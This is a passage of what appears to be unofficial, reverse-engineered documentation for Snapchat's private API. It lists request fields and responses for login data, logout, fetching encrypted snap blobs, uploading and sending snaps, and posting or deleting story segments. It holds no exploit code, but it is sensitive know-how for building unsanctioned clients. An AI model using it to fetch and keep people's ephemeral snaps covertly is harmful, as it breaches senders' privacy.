class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">0</span><span class="p">},</span> <span class="p">{</span><span class="nx">can_see_custom_stories</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">name</span><span class="o">:</span> <span class="s2">&quot;someguy&quot;</span><span class="p">,</span> <span class="nx">display</span><span class="o">:</span> <span class="s2">&quot;Some Guy&quot;</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">0</span><span class="p">},</span> <span class="p">{</span><span class="nx">can_see_custom_stories</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">name</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">display</span><span class="o">:</span> <span class="s2">&quot;&quot;</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">1</span><span class="p">}</span> <span class="p">],</span> <span class="nx">device_token</span><span class="o">:</span> <span class="s2">&quot;&quot;</span><span class="p">,</span> <span class="nx">feature_settings</span><span class="o">:</span> <span class="p">{},</span> <span class="nx">snap_p</span><span class="o">:</span> <span class="mi">1</span><span class="p">,</span> <span class="nx">mobile_verification_key</span><span class="o">:</span> <span class="s2">&quot;MTMzNzpnaWJzb24=&quot;</span><span class="p">,</span> <span class="nx">recents</span><span class="o">:</span> <span class="p">[</span><span class="s2">&quot;teamsnapchat&quot;</span><span class="p">],</span> <span class="nx">added_friends_timestamp</span><span class="o">:</span> <span class="mi">1385130955168</span><span class="p">,</span> <span class="nx">notification_sound_setting</span><span class="o">:</span> <span class="s2">&quot;OFF&quot;</span><span class="p">,</span> <span class="nx">snapchat_phone_number</span><span class="o">:</span> <span class="s2">&quot;+15557350485&quot;</span><span class="p">,</span> <span class="nx">auth_token</span><span class="o">:</span> <span class="s2">&quot;85c32786-0c71-44bf-9ba0-77bf18c61db2&quot;</span><span class="p">,</span> <span class="nx">image_caption</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">is_beta</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">current_timestamp</span><span class="o">:</span> <span class="mi">1385378822645</span><span class="p">,</span> <span class="nx">can_view_mature_content</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">email</span><span class="o">:</span> <span class="s2">&quot;<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="f980968cb99c81989489959cd79a9694">[email&#160;protected]</a>&quot;</span><span class="p">,</span> <span class="nx">should_send_text_to_verify_number</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">mobile</span><span class="o">:</span> <span class="s2">&quot;&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>bests</code></td> <td>list</td> <td>A list of your &quot;best friends&quot; (most frequently interacted with).</td> </tr> <tr> <td><code>score</code></td> <td>int</td> <td>Your arbitrary, and utterly pointless Snapchat score.</td> </tr> <tr> <td><code>number_of_best_friends</code></td> <td>int</td> <td>The number of &quot;best friends&quot; you have.</td> </tr> <tr> <td><code>received</code></td> <td>int</td> <td>The amount of snaps you&#39;ve received.</td> </tr> <tr> <td><code>logged</code></td> <td>bool</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>added_friends</code></td> <td>list</td> <td>Friends who have added you - See <em>below</em>.</td> </tr> <tr> <td><code>beta_expiration</code>*</td> <td>int</td> <td>When this beta build (if you&#39;re in the beta) expires.</td> </tr> <tr> <td><code>beta_number</code>*</td> <td>int</td> <td>The number of this beta build.</td> </tr> <tr> <td><code>requests</code></td> <td>list</td> <td>Friends who have added you - See <em>below</em>.</td> </tr> <tr> <td><code>sent</code></td> <td>int</td> <td>How many snaps you&#39;ve sent.</td> </tr> <tr> <td><code>story_privacy</code></td> <td>str</td> <td>Your <a href="#updating-your-story-privacy">story privacy</a>.</td> </tr> <tr> <td><code>username</code></td> <td>str</td> <td>Your username.</td> </tr> <tr> <td><code>snaps</code></td> <td>list</td> <td>A list of snap-related things - See <em>below</em>.</td> </tr> <tr> <td><code>friends</code></td> <td>list</td> <td>A list of all your friends - See <em>below</em>.</td> </tr> <tr> <td><code>device_token</code></td> <td>str</td> <td>Used for Google Cloud Messaging PUSH notifications.</td> </tr> <tr> <td><code>feature_settings</code></td> <td>dict</td> <td><em>N/A</em></td> </tr> <tr> <td><code>snap_p</code></td> <td>int</td> <td>Your <a href="#updating-your-account-privacy">account privacy</a>.</td> </tr> <tr> <td><code>mobile_verification_key</code></td> <td>str</td> <td>A base64&#39;d verification key (+ your username) you can text Snapchat to verify your phone number.</td> </tr> <tr> <td><code>recents</code></td> <td>list</td> <td>A list of people you have recently interacted with.</td> </tr> <tr> <td><code>added_friends_timestamp</code></td> <td>int</td> <td>A unix timestamp (<code>*1000</code>) of when a friend last added you.</td> </tr> <tr> <td><code>notification_sound_setting</code></td> <td>str</td> <td>The app&#39;s sound notification settings.</td> </tr> <tr> <td><code>snapchat_phone_number</code></td> <td>str</td> <td>A phone number you can text your <code>mobile_verification_key</code> to.</td> </tr> <tr> <td><code>auth_token</code></td> <td>str</td> <td>An <a href="#authentication-tokens">authentication token</a>. Store this, you&#39;ll need it later!</td> </tr> <tr> <td><code>image_caption</code></td> <td>bool</td> <td><em>N/A</em></td> </tr> <tr> <td><code>is_beta</code>*</td> <td>bool</td> <td>Whether you&#39;re opted into Snapchat Beta or not.</td> </tr> <tr> <td><code>current_timestamp</code></td> <td>int</td> <td>A current unix timestamp (<code>*1000</code>).</td> </tr> <tr> <td><code>can_view_mature_content</code></td> <td>bool</td> <td>Your <a href="#updating-your-maturity-settings">maturity settings</a>.</td> </tr> <tr> <td><code>email</code></td> <td>str</td> <td>Your email.</td> </tr> <tr> <td><code>should_send_text_to_verify_number</code></td> <td>bool</td> <td>Exactly what it says on the tin.</td> </tr> <tr> <td><code>mobile</code></td> <td>str</td> <td>Your attached mobile number (if any).</td> </tr> </tbody></table> <p><code>added_friends</code> is a list of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>ts</code></td> <td>int</td> <td>A unix timestamp (<code>*1000</code>) of when they added you.</td> </tr> <tr> <td><code>name</code></td> <td>str</td> <td>Their username.</td> </tr> <tr> <td><code>display</code></td> <td>str</td> <td>Their display name, <a href="#making---or-losing---friends-phfriend">set by you</a>.</td> </tr> <tr> <td><code>type</code></td> <td>int</td> <td>Whether the account is: public, <code>0</code>; private, <code>1</code>.</td> </tr> </tbody></table> <p><code>requests</code> is a list of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>ts</code></td> <td>int</td> <td>A unix timestamp (<code>*1000</code>) of when they added you.</td> </tr> <tr> <td><code>name</code></td> <td>str</td> <td>Their username.</td> </tr> <tr> <td><code>display</code></td> <td>str</td> <td>Their display name, <a href="#making---or-losing---friends-phfriend">set by you</a>.</td> </tr> <tr> <td><code>type</code></td> <td>int</td> <td>Whether the account is: public, <code>0</code>; private, <code>1</code>.</td> </tr> </tbody></table> <p><code>snaps</code> is a list of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>id</code></td> <td>str</td> <td>A unique id for the snap. Ends in either: <code>r</code>, sent <em>to</em> us; or <code>s</code>, sent <em>from</em> us.</td> </tr> <tr> <td><code>sn</code> / <code>rp</code></td> <td>str</td> <td>Snap <em>sender/recipient</em> name, respectively.</td> </tr> <tr> <td><code>ts</code></td> <td>int</td> <td>A unix timestamp (<code>*1000</code>) of when it was last interacted with.</td> </tr> <tr> <td><code>sts</code></td> <td>int</td> <td>A unix timestamp (<code>*1000</code>) of when it was sent (almost always the same as <code>ts</code>).</td> </tr> <tr> <td><code>m</code></td> <td>int</td> <td>The media type - See: <a href="#index-of-constants">Index of constants</a>.</td> </tr> <tr> <td><code>st</code></td> <td>int</td> <td>The state of the media - See: <a href="#index-of-constants">Index of constants</a>.</td> </tr> <tr> <td><code>t</code></td> <td>int</td> <td><em>Present in unopened snaps</em> (where <code>m=N,st=1</code>) - the time the snap should be viewable for.</td> </tr> </tbody></table> <p><code>friends</code> is a list of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>can_see_custom_stories</code></td> <td>bool</td> <td>Whether the user is allowed to see your stories (on <a href="#updating-your-story-privacy">custom privacy</a>).</td> </tr> <tr> <td><code>name</code></td> <td>str</td> <td>Their user account name.</td> </tr> <tr> <td><code>display</code></td> <td>str</td> <td>Their display name, <a href="#making---or-losing---friends-phfriend">set by you</a>.</td> </tr> <tr> <td><code>type</code></td> <td>int</td> <td>Whether the account is: public, <code>0</code>; private, <code>1</code>.</td> </tr> </tbody></table> <h1 id='logging-out-phlogout' class='link-to'>Logging out (<code>/ph/logout</code>) <a class='pilcrow' title='Permalink to this section' href='#logging-out-phlogout'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">json</span><span class="o">:</span> <span class="s2">&quot;{}&quot;</span><span class="p">,</span> <span class="nx">events</span><span class="o">:</span> <span class="s2">&quot;[]&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>json</code></td> <td>dict</td> <td>See: <a href="#sending-updates-bqupdate_snaps">Sending updates (<code>/bq/update_snaps</code>)</a></td> </tr> <tr> <td><code>events</code></td> <td>list</td> <td>See: <a href="#sending-updates-bqupdate_snaps">Sending updates (<code>/bq/update_snaps</code>)</a></td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you&#39;ll get back a <code>200 OK</code> with no body content.<br> Doing this makes your <a href="#authentication-tokens">authentication token</a> stale - you can&#39;t reuse it.</p> <h1 id='fetching-snap-data-phblob' class='link-to'>Fetching snap data (<code>/ph/blob</code>) <a class='pilcrow' title='Permalink to this section' href='#fetching-snap-data-phblob'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">id</span><span class="o">:</span> <span class="s2">&quot;97117373178635038r&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>id</code></td> <td>int</td> <td>The id attached to the snap we&#39;re interested in.</td> </tr> </tbody></table> <p>If your request is successful, you will get <code>200 OK</code> followed by the blob data for the snap you requested:</p> <ul> <li>The returned blob is encrypted. See: <a href="#encryptingdecrypting-data">Encrypting/decrypting data</a></li> <li>Once decrypted, images will start with <code>\xFF\xD8\xFF\xE0</code> - almost always JPEG.</li> <li>Once decrypted, videos will start with <code>\x00\x00\x00\x18</code> - almost always MPEG-4.</li> <li>PNG (<code>\x89PNG</code>) and GIF (<code>GIF8</code>) are uncommon but can be sent by custom clients, as they appear to display correctly.</li> </ul> <p>Your request may be met with <code>410 Gone</code> if you requested an image that:</p> <ul> <li>Doesn&#39;t exist</li> <li>Did exist but has been <a href="#reporting-seen-and-screenshotted">marked seen or screenshotted</a>.</li> </ul> <h1 id='uploading-and-sending-snaps-phupload-phsend' class='link-to'>Uploading and sending snaps (<code>/ph/upload</code>, <code>/ph/send</code>) <a class='pilcrow' title='Permalink to this section' href='#uploading-and-sending-snaps-phupload-phsend'>露</a></h1> <p>Sending snaps are done in two parts - you upload the media, then tell Snapchat who to send it to.</p> <h2 id='uploading-your-media-phupload' class='link-to'>Uploading your media (<code>/ph/upload</code>) <a class='pilcrow' title='Permalink to this section' href='#uploading-your-media-phupload'>露</a></h2> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">)</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">&quot;YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f&quot;</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">data</span><span class="o">:</span> <span class="nx">ENCRYPTED_SNAP_DATA</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>media_id</code></td> <td>str</td> <td>A unique identifier for this media - Snapchat uses a UUID.</td> </tr> <tr> <td><code>type</code></td> <td>int</td> <td>The type of media you&#39;re uploading - <code>0</code> for images, <code>1</code> for videos</td> </tr> <tr> <td><code>data</code></td> <td>data</td> <td>The <a href="#encryptingdecrypting-data">encrypted</a> media data.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you&#39;ll get a <code>200 OK</code> with no body content.<br> <strong>NB!</strong> You need to store the <code>media_id</code> to use in <code>/ph/send</code>.</p> <h2 id='sending-it-off-phsend' class='link-to'>Sending it off (<code>/ph/send</code>) <a class='pilcrow' title='Permalink to this section' href='#sending-it-off-phsend'>露</a></h2> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">&quot;YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f&quot;</span><span class="p">,</span> <span class="nx">recipient</span><span class="o">:</span> <span class="s2">&quot;teamsnapchat,someguy&quot;</span><span class="p">,</span> <span class="nx">time</span><span class="o">:</span> <span class="mi">5</span><span class="p">,</span> <span class="nx">zipped</span><span class="o">:</span> <span class="s2">&quot;0&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>media_id</code></td> <td>str</td> <td>A unique identifier for this media - Snapchat uses a UUID.</td> </tr> <tr> <td><code>recipient</code></td> <td>str</td> <td>A comma delimited list of recipients - e.g. <code>teamsnapchat,someguy</code></td> </tr> <tr> <td><code>time</code></td> <td>int</td> <td>An integer, 1-10 inclusive of how long the snap will display for.</td> </tr> <tr> <td><code>zipped</code>*</td> <td>str</td> <td><code>0</code> or <code>1</code>, indicating whether or not the data is <a href="#gzipping-data">gzipped</a>.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you&#39;ll get a <code>200 OK</code> with no body content.</p> <h2 id='resending-a-failed-snap-phretry' class='link-to'>Resending a failed snap (<code>/ph/retry</code>) <a class='pilcrow' title='Permalink to this section' href='#resending-a-failed-snap-phretry'>露</a></h2> <p><code>/ph/retry</code> is much like a combined endpoint for <a href="#uploading-your-media-phupload"><code>/ph/upload</code></a> and <a href="#sending-it-off-phsend"><code>/ph/send</code></a>.</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">&quot;YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f&quot;</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">data</span><span class="o">:</span> <span class="nx">ENCRYPTED_SNAP_DATA</span><span class="p">,</span> <span class="nx">zipped</span><span class="o">:</span> <span class="s2">&quot;0&quot;</span><span class="p">,</span> <span class="nx">recipient</span><span class="o">:</span> <span class="s2">&quot;teamsnapchat,someguy&quot;</span><span class="p">,</span> <span class="nx">time</span><span class="o">:</span> <span class="mi">5</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>media_id</code></td> <td>str</td> <td>A unique identifier for this media - Snapchat uses a UUID.</td> </tr> <tr> <td><code>type</code></td> <td>int</td> <td>The type of media you&#39;re uploading - <code>0</code> for images, <code>1</code> for videos</td> </tr> <tr> <td><code>data</code></td> <td>data</td> <td>The <a href="#encryptingdecrypting-data">encrypted</a> media data.</td> </tr> <tr> <td><code>zipped</code>*</td> <td>str</td> <td><code>0</code> or <code>1</code>, indicating whether or not the data is <a href="#gzipping-data">gzipped</a>.</td> </tr> <tr> <td><code>recipient</code></td> <td>str</td> <td>A comma delimited list of recipients - e.g. <code>teamsnapchat,someguy</code></td> </tr> <tr> <td><code>time</code></td> <td>int</td> <td>An integer, 1-10 inclusive of how long the snap will display for.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you&#39;ll get a <code>200 OK</code> with no body content.</p> <h1 id='posting-to-a-story-bqpost_story' class='link-to'>Posting to a story (<code>/bq/post_story</code>) <a class='pilcrow' title='Permalink to this section' href='#posting-to-a-story-bqpost_story'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">&quot;YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f&quot;</span><span class="p">,</span> <span class="nx">client_id</span><span class="o">:</span> <span class="s2">&quot;YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f&quot;</span><span class="p">,</span> <span class="nx">caption_text_display</span><span class="o">:</span> <span class="s2">&quot;Foo, bar, baz!&quot;</span><span class="p">,</span> <span class="nx">thumbnail_data</span><span class="o">:</span> <span class="nx">ENCRYPTED_THUMBNAIL_DATA</span><span class="p">,</span> <span class="nx">zipped</span><span class="o">:</span> <span class="s2">&quot;0&quot;</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">time</span><span class="o">:</span> <span class="mi">10</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>media_id</code></td> <td>str</td> <td>A unique identifier for this media - Snapchat uses a UUID.</td> </tr> <tr> <td><code>client_id</code></td> <td>str</td> <td>A unique client identifier - the same as the given <code>media_id</code>.</td> </tr> <tr> <td><code>caption_text_display</code></td> <td>str</td> <td>Some form of caption - doesn&#39;t seem to be honored/rendered by the receiving client.</td> </tr> <tr> <td><code>thumbnail_data</code>*</td> <td>data</td> <td>Optional thumbnail data. It will be generated for you if you leave this out.</td> </tr> <tr> <td><code>zipped</code>*</td> <td>str</td> <td><code>0</code> or <code>1</code>, indicating whether or not the data is <a href="#gzipping-data">gzipped</a>.</td> </tr> <tr> <td><code>type</code></td> <td>int</td> <td>The type of media you&#39;re uploading - <code>0</code> for images, <code>1</code> for videos</td> </tr> <tr> <td><code>time</code></td> <td>int</td> <td>An integer, 1-10 inclusive of how long the snap will display for.</td> </tr> </tbody></table> <p><strong>NB!</strong> You get the <code>media_id</code> by first <a href="#uploading-your-media-phupload">uploading your media</a>.<br> <strong>NB!</strong> Your <code>media_id</code> and <code>client_id</code> <em>have</em> to be in the format <code>YOURACCOUNT~UUID</code> - otherwise this will return <code>400 Bad Request</code>.<br> If your request was <strong>successful</strong>, you&#39;ll get something like this back:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">json</span><span class="o">:</span> <span class="p">{</span> <span class="nx">story</span><span class="o">:</span> <span class="p">{</span> <span class="nx">caption_text_display</span><span class="o">:</span> <span class="s2">&quot;Foo, bar, baz!&quot;</span><span class="p">,</span> <span class="nx">id</span><span class="o">:</span> <span class="s2">&quot;youraccount~1385123930172&quot;</span><span class="p">,</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">mature_content</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">client_id</span><span class="o">:</span> <span class="s2">&quot;YOURACCOUNT~E5273F6E-EF69-453A-BE05-EC232AD7482C&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1385123930172</span><span class="p">,</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">&quot;5926704455352320&quot;</span><span class="p">,</span> <span class="nx">media_key</span><span class="o">:</span> <span class="s2">&quot;rlcTSuolqwhiatuqT6533fbcyBvIU7e/i4ZFZPxFtco=&quot;</span><span class="p">,</span> <span class="nx">media_iv</span><span class="o">:</span> <span class="s2">&quot;YXyO2gJ4PuLhwlHohxGOFE==&quot;</span><span class="p">,</span> <span class="nx">thumbnail_iv</span><span class="o">:</span> <span class="s2">&quot;DrcQC5VRkjw+8KLp489xFA==&quot;</span><span class="p">,</span> <span class="nx">media_type</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">time</span><span class="o">:</span> <span class="mf">10.0</span><span class="p">,</span> <span class="nx">time_left</span><span class="o">:</span> <span class="mi">86399893</span><span class="p">,</span> <span class="nx">media_url</span><span class="o">:</span> <span class="s2">&quot;https://feelinsonice-hrd.appspot.com/bq/story_blob?story_id=5676384469352890&quot;</span><span class="p">,</span> <span class="nx">thumbnail_url</span><span class="o">:</span> <span class="s2">&quot;https://feelinsonice-hrd.appspot.com/bq/story_thumbnail?story_id=5911704785345329&quot;</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> </pre></div> <p>If your request was <strong>successful</strong> you&#39;ll get back a <code>202 Accepted</code> with some JSON body content:</p> <p><code>r.json.story</code> is a dictionary of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>caption_text_display</code></td> <td>str</td> <td>Some form of caption - doesn&#39;t seem to be honored/rendered by the receiving client.</td> </tr> <tr> <td><code>id</code></td> <td>str</td> <td>Your username (lowercase), a tilde, and the returned <code>timestamp</code>.</td> </tr> <tr> <td><code>username</code></td> <td>str</td> <td>Your account username.</td> </tr> <tr> <td><code>mature_content</code></td> <td>bool</td> <td>Whether or not story contains mature content.</td> </tr> <tr> <td><code>client_id</code></td> <td>str</td> <td>The <code>media_id</code>/<code>client_id</code> you sent originally.</td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>The reply timestamp.</td> </tr> <tr> <td><code>media_id</code></td> <td>str</td> <td>An id for this specific story segment.</td> </tr> <tr> <td><code>media_key</code></td> <td>str</td> <td>base64&#39;d key for <a href="#encrypting-stories">decrypting</a> this story (note, you also need the IV!).</td> </tr> <tr> <td><code>media_iv</code></td> <td>str</td> <td>base64&#39;d IV for decrypting this story (note, you also need the key!).</td> </tr> <tr> <td><code>thumbnail_iv</code></td> <td>str</td> <td>base64&#39;d IV for decrypting the thumbnail (use <code>media_key</code>!).</td> </tr> <tr> <td><code>media_type</code></td> <td>int</td> <td>The type of media: <code>0</code> for images, <code>1</code> for videos.</td> </tr> <tr> <td><code>time</code></td> <td>long</td> <td>The time this segment should be visible for.</td> </tr> <tr> <td><code>time_left</code></td> <td>int</td> <td>The seconds left (<code>*1000</code>, for some reason) before this story expires.</td> </tr> <tr> <td><code>media_url</code></td> <td>str</td> <td>A URL you can hit via GET to fetch the story&#39;s blob data.</td> </tr> <tr> <td><code>thumbnail_url</code></td> <td>str</td> <td>A URL you can hit via GET to fetch the thumbnail&#39;s blob data.</td> </tr> </tbody></table> <h1 id='deleting-story-segments-bqdelete_story' class='link-to'>Deleting story segments (<code>/bq/delete_story</code>) <a class='pilcrow' title='Permalink to this section' href='#deleting-story-segments-bqdelete_story'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">story_id</span><span class="o">:</span> <span class="s2">&quot;youraccount~1382716927240&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>story_id</code></td> <td>str</td> <td>The story segment id we&#39;re deleting.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you&#39;ll get back a <code>200 OK</code> with no body content.</p> <h1 id='appending-segments-to-a-story-directly-bqretry_post_story' class='link-to'>Appending segments to a story directly (<code>/bq/retry_post_story</code>) <a class='pilcrow' title='Permalink to this section' href='#appending-segments-to-a-story-directly-bqretry_post_story'>露</a></h1> <p>This is the same as <a href="#posting-to-a-story-bqpost_story">posting to a story</a>, however there is an extra field (<code>data</code>) sent:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">&quot;YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f&quot;</span><span class="p">,</span> <span class="nx">client_id</span><span class="o">:</span> <span class="s2">&quot;YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f&quot;</span><span class="p">,</span> <span class="nx">caption_text_display</span><span class="o">:</span> <span class="s2">&quot;Foo, bar, baz!&quot;</span><span class="p">,</span> <span class="nx">thumbnail_data</span><span class="o">:</span> <span class="nx">ENCRYPTED_THUMBNAIL_DATA</span><span class="p">,</span> <span class="nx">zipped</span><span class="o">:</span> <span class="s2">&quot;0&quot;</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">time</span><span 